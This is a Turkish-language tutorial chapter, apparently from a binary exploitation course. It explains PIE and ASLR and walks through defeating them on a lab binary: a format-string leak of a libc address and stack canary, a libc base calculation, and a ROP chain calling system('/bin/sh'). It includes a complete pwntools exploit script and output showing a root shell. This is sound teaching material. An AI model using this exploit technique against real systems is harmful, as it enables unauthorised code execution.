Önceki bölüm ile aynı hedefe sahibiz, programın akışını değiştirerek bir shell çalıştırmak.
Kodumuz önceki bölüm ile birebir aynı - bu sefer farklı olan şey kodun çalıştığı ortam.
Farketmiş olabileceğiniz gibi -no-pie
opsiyonu bu sefer derleme opsyionlarında
yok. Yani bu binary PIE ile derleniyor. Ve hayır PIE gerçekten turta değil, Position
Independent Executables ya da PCI yani Position Independent Code, basitçe derleyicinin
bellekte herhangi bir adrese yüklenince çalışabilecek kod oluşturmasını sağlıyor.
PIE olmadan derlenen programlar, spesifik adreslere erişen kodlar kullanan binaryler oluşturulabilir. Bu spesifik adreslerin doğru şekilde erişilebilmesi adına, programın her seferinde bellekte aynı pozisyona yüklenmesi lazım. Ancak shared libary'ler gibi bazı programlar, bellekte her zaman aynı alana yüklenmeyebiliyor. Bu sebeple PIE, pozisyonda bağımsız binaryler oluşturarak bu sorunu ortadan kaldırıyor.
PIE aslında kendi başına bir bellek koruması değil, sadece asıl bellek koruması olan ASLR için ihtiyacımız olan birşey, hadi şimdi ASLR'ı inceleyelim.
ASLR yani Address Space Layout Randomization şuana kadar karşımıza çıkan bellek korumalarından bir tanesi, ancak diğerlerinden farklı olarak bu koruma aslında programın kenidisi tarafından ya da GNU libraryleri ya da derleyicisi tarafından implemente edilmiyor. Hayır, hayır, doğrudan kernel tarafından implemente edilen bir bellek koruması.
İsmi aslında bu korumayı olukça basitçe açıklıyor. Bildiğiniz gibi programlar kernel tarafından kendilerine atanılan bir sanal belleği kullanıyor. Hiçbir programın doğrudan fiziksel belleğe erişimi yok. Bunun sonucu olarak da bir program belleğe yüklendiğinde semboller, fonksiyonlar yani kod, aynı pozisyonlara yani adreslere yerleşiyor.
ASLR basitçe program belleğe yüklendiğinde, sanal bellek üzerinde yüklemin yapıldığı pozisyonu değiştirerek tüm sembol, fonksiyon ve kodun her program yeniden başlayınca farklı bir pozisyona gelmesini sağlıyor.
Bu bir sorun gibi görünmeyebilir, ancak hatırlarsanız önceki exploitimizde önceden kullandığımız libc adresi, gadget adresimiz, bunların hepsi artık kullanılamaz durumda - program her yeniden başlayınca bu adresler farklı bir yere yüklenecek, ve de bizim adreslerimiz tamami ile alakasız yerlere işaret edecek.
Yani önceden bulup hesapladığımız adresleri kullanmamız mümkün değil. Bu bellek korumasını
nasıl bypass edebileceğimizi anlamak için hadi ASLR'ın nasıl implemente edildiğine bakalım (mm/util.c
):
/**
* randomize_page - Generate a random, page aligned address
* @start: The smallest acceptable address the caller will take.
* @range: The size of the area, starting at @start, within which the
* random address must fall.
*
* If @start + @range would overflow, @range is capped.
*
* NOTE: Historical use of randomize_range, which this replaces, presumed that
* @start was already page aligned. We now align it regardless.
*
* Return: A page aligned address within [start, start + range). On error,
* @start is returned.
*/
unsigned long randomize_page(unsigned long start, unsigned long range)
{
if (!PAGE_ALIGNED(start)) {
range -= PAGE_ALIGN(start) - start;
start = PAGE_ALIGN(start);
}
if (start > ULONG_MAX - range)
range = ULONG_MAX - start;
range >>= PAGE_SHIFT;
if (range == 0)
return start;
return start + (get_random_long() % range << PAGE_SHIFT);
}
Ne? Siz ne bekliyordunuz ELF binarysindeki tüm sembollerin ayrı ayrı parse edilip farklı adreslere yüklenmesini mi? Öyle şey mi olur? Programın yüklendiği adresi sağ sola kaydırıyoruz işte.
Sanırım burdaki sorunu görebiliyorsunuz. Eğer program çalışırken bilindik bir sembolün adresini alabilirsek, bunu orjinal adresten çıkartarak bir offset hesaplayabiliriz. Bu offset basitçe kernel'in hangi yöne ne kadar sağ sola kaydırma yaptırmanı gösterir. Ardından bu offseti orjinal adreslere ekleyerek dinamik olarak sembol ve kodun yerini hesaplayabiliriz.
Şimdi bunu pratikte görelim. Fakat öncesinde ASLR'ı açmamız lazım, bu kernel tarafından implemente edildiğinden
programa eklenebilecek bir derleme opsiyonu yok. Doğrudan /sys
interface'i üzerinden ASLR'ı açıp kapıyoruz.
Pratik ortamında kullanılan VM'de ASLR boot başında otomatik kapatılıyor. Bu bölüm için aslr'ı açmak adına
toggle-aslr
scriptini çalıştırabilirsiniz. Daha sonrasında ASLR'ı tekrar kapatmak adına scripti tekrar çalıştırabilirsiniz.
İlk yapmamız gereken ASLR'ı kırmak için offseti hesaplamak. Bunun içinde güvenilir olarak bize bilindik bir sembol adresi leakleyebileceğimiz bir yol lazım.
Bunun için stack çerezlerini leaklemek için kullandığımız yönetmi kullanabiliriz, sonuçta stack'ten veri okuyoruz,
stack üzerindeki dönüş adresi büyük ihtimalle libc üstünde olacaktır (printf
sonuçta başka fonksiyonları çağırıyor):
root@o101:~/0x4# gdb ./0x4.elf
(gdb) break main
Breakpoint 1 at 0x55555555517d
(gdb) run
...
Breakpoint 1, 0x000055555555517d in main ()
(gdb) info proc map
process 478
Mapped address spaces:
Start Addr End Addr Size Offset Perms objfile
...
0x7ffff7dde000 0x7ffff7e04000 0x26000 0x0 r--p /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7e04000 0x7ffff7f59000 0x155000 0x26000 r-xp /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7f59000 0x7ffff7fac000 0x53000 0x17b000 r--p /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7fac000 0x7ffff7fb0000 0x4000 0x1ce000 r--p /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7fb0000 0x7ffff7fb2000 0x2000 0x1d2000 rw-p /usr/lib/x86_64-linux-gnu/libc.so.6
...
(gdb) c
...
Hello, what's your name?
%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p
0xa,(nil),(nil),0x55555555601e,0x7ffff7fb0a80,(nil),(nil),0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c70,0x70252c70252c7025,0x70252c70252c,0x705fa3a045226500? [yes/no]
...
Gördüğünüz bu örnekte gibi libc
, 0x7ffff7fb2000
adresinde bitiyor ve de leaklediğimiz 5. adres bu adres aralığında (0x7ffff7fb0a80
),
bu adresin libc
üzerindeki asıl konumunu, libc
nin başlangıç adresinden (0x7ffff7dde000
) çıkartarak öğrenebiliriz
(ASLR gdb altında çalışmıyor, bunlar orjinal adresler):
root@o101:~# python3
Python 3.11.8 (main, Feb 12 2024, 14:50:05) [GCC 13.2.1 20230801] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> hex(0x7ffff7fb0a80-0x7ffff7dde000)
'0x1d2a80'
Sanırım ne yapacağımızı anladınız, program çalışırken ASLR yüzünden kaydırılmış olan stack üzerindeki adresi leakleyeğiz, sonra
bu adresten 0x1d2a80
çıkartak ASLR tarafından kaydırılmış olan libc
adresini bulacağız, bu ana başlangıç adresine base adresi
denir. Base adresi kullanmak için kullandığımız fark ise (0x1d2a80
) bizim offset'imiz.
Bu arada bir sürü %p
yerine daha akılıca bir şey kullanabiliriz:
%5$p,%13$p
[n]$
syntaxi basitçe okuncak argümanın printf
e verilen kaçıncı argüman olduğunu belirtiyor.
Bu şekilde leaklediğimiz adresi ve de çerezi pwntools ile yazdığımız exploitimizde çekebiliriz:
from pwn import *
context.update(arch="amd64", os="linux")
elf = context.binary = ELF("./0x4.elf")
libc = elf.libc
p = process("./0x4.elf")
p.recvuntil(b"\n")
p.sendline(b"%5$p,%13$p,")
line = p.recvline().split(b",")
leak = line[0]
cookie = line[1]
info(f"Leaked libc address: {leak.decode()}")
info(f"Leaked cookie: {cookie.decode()}")
libc.address = int(leak, 16) - 0x1d2a80
info(f"Found libc base: {hex(libc.address)}")
Burada işimizi kolaylaştırmak adına binary'nin yüklendiği libc
librarysini binary'nin
ELF()
objesinden çekiyoruz, sonrasında çerezi ve leakediğimiz adresi parse ettikten sonra libc
nin
adresini bulduğumuz offset ile hesaplıyoruz. Artık libc
nin adresini biliyoruz, ancak bunu doğru kullanmamız
lazım. Hatırlarsanız önceki bölümde bulduğumuz gadgetların adreslerini libc
nin orjinal adresine eklemiştik.
Bu sefer bu yeni adrese ekleme yapacağız ve dinamik olarak gadgetların lokasyonunu bulacağız:
payload = b"A"*56 # answer + name
payload += p64(int(cookie, 16)) # cookie
payload += b"A"*8 # rbp
payload += p64(libc.address+0x277e5) # pop rdi; ret
Sıra /bin/sh
stringinde, bunu hesaplamak yerine aslında pwntools'un bize sunduğu sembol arama özelliğini
kullanabiliriz:
payload += p64(next(libc.search(b"/bin/sh"))) # /bin/sh
sonrasında ret
gadegetımız ve de system()
çağrımız var, system()
çağrısı için de libc
objesinin doğrudan
sembollerine pwntools aracılığı ile erişebiliriz:
payload += p64(libc.address+0x26e99) # ret
payload += p64(libc.sym["system"]) # system()
Son olarak exploiti, payload'ımızı stdin
e göndererek tamamlayalım:
from pwn import *
context.update(arch="amd64", os="linux")
elf = context.binary = ELF("./0x4.elf")
libc = elf.libc
p = process("./0x4.elf")
p.recvuntil(b"\n")
p.sendline(b"%5$p,%13$p,")
line = p.recvline().split(b",")
leak = line[0]
cookie = line[1]
info(f"Leaked libc address: {leak.decode()}")
info(f"Leaked cookie: {cookie.decode()}")
libc.address = int(leak, 16) - 0x1d2a80
info(f"Found libc base: {hex(libc.address)}")
payload = b"A"*56 # answer + name
payload += p64(int(cookie, 16)) # cookie
payload += b"A"*8 # rbp
payload += p64(libc.address+0x277e5) # pop rdi; ret
payload += p64(next(libc.search(b"/bin/sh"))) # /bin/sh
payload += p64(libc.address+0x26e99) # ret
payload += p64(libc.sym["system"]) # system()
p.sendline(payload)
p.interactive()
Herşey hazır olduğuna göre exploitimizi test edebiliriz:
root@o101:~/0x4# toggle-aslr
ASLR is now ON!
root@o101:~/0x4# python3 solve.py
[*] '/root/0x4/0x4'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/usr/lib/libc.so.6'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './0x4.elf': pid 647
[*] Leaked libc address: 0x7ff2f78de8e0
[*] Leaked cookie: 0xb2eb9110c6dc3500
[*] Found libc base: 0x7ff2f7706000
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)